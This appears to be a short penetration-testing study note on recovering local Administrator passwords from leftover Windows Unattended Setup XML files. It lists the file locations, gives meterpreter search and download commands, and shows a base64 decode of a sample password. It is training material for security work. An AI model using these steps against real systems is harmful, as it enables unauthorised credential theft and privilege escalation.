Windows: hunting for passwords in config files
Find and decode cleartext admin credentials left behind in Windows Unattended Setup files.
bash·1 min read··INE Certification
The Windows Unattended Setup utility automates mass OS deployments and stores configuration, including the local Administrator account password, in XML files. When admins forget to delete these after deployment, any low-privilege user can read them.
Locations to check
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Autounattend.xml
C:\Windows\System32\Sysprep\Unattend.xml
C:\Windows\System32\Sysprep\Panther\Unattend.xmlFind and pull the file
From a meterpreter session:
search -d C:\\ -f Unattend.xml # search the whole C drive for the file
download C:\\Windows\\Panther\\Unattend.xmlDecode the password
The password in these files is often base64-encoded rather than stored in plaintext:
echo "dGVzdHBhc3M=" | base64 -dIt looks like this inside the XML:
<AutoLogon>
<Password>
<Value>dGVzdHBhc3M=</Value>
<PlainText>false</PlainText>
</Password>
<Username>Administrator</Username>
</AutoLogon>Related
- Windows post-exploitation: meterpreter commands and post modules: the broader enumeration workflow this fits into
- Windows hash dumping and pass-the-hash: an alternative source of Administrator credentials
- Windows access token impersonation: sibling privesc technique when no config file is present